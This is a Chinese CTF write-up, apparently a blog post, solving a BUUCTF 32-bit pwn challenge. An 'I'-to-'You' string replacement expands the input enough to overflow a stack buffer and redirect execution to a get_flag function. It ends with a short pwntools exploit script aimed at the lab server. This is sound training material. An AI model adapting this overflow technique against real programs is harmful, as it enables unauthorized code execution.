本文已参与「新人创作礼」活动,一起开启掘金创作之路
距离上一次日行一pwn已经快一个月了,干脆改成月行一pwn吧(汗。这段时间去恶补了王爽老师的汇编语言。
结果一回来就做了这么一道题,函数封装的严严实实,打眼一看全是C++。想入门pwn这么难吗。
正片
使用BUUCTF靶场,首先标准步骤下载--放到kali里面查--拖到windows用ida反汇编
发现只有一个NX保护
NX保护就是CPU不会执行放在内存段中的代码,也就是我们之前在BOF中学习的像内存中写入Shell的方法,在开启NX后是不可行的
之后打开IDA进入主函数,可以发现主函数只干了一件事就是调用vuln函数
然后去看看Vuln函数,噩梦开始了
用或不用F5都是封装的整整齐齐的C++语句
去cplusplus.com上查了半天,那一大段语句的意思大概就是把输入的字符串中的I换成You。
那么思路就来了
我们可以看到s是定义在栈段3c-1c的变量,长度32字节。输入有fgets严格控制长度。但是由于I被替换成You就导致了输入长度可以扩展成三倍,也就是说最大输入长度可以达到96字节,
而这道题只需要3x16+12(栈长度)+4(32位寄存器ebp长度)+4(函数偏移地址)=68位,所以是可以造成溢出的。
然后就需要查找可以利用的后门函数了,在函数列表里发现了get_flag函数
然后直接执行这个函数就行了。
所以直接编写Exp
from pwn import *
p = remote('node4.buuoj.cn','28976')
payload = "I" * 20 +"AAAA" + p32(0x08048F0D)
p.sendline(payload)
p.interactive()
\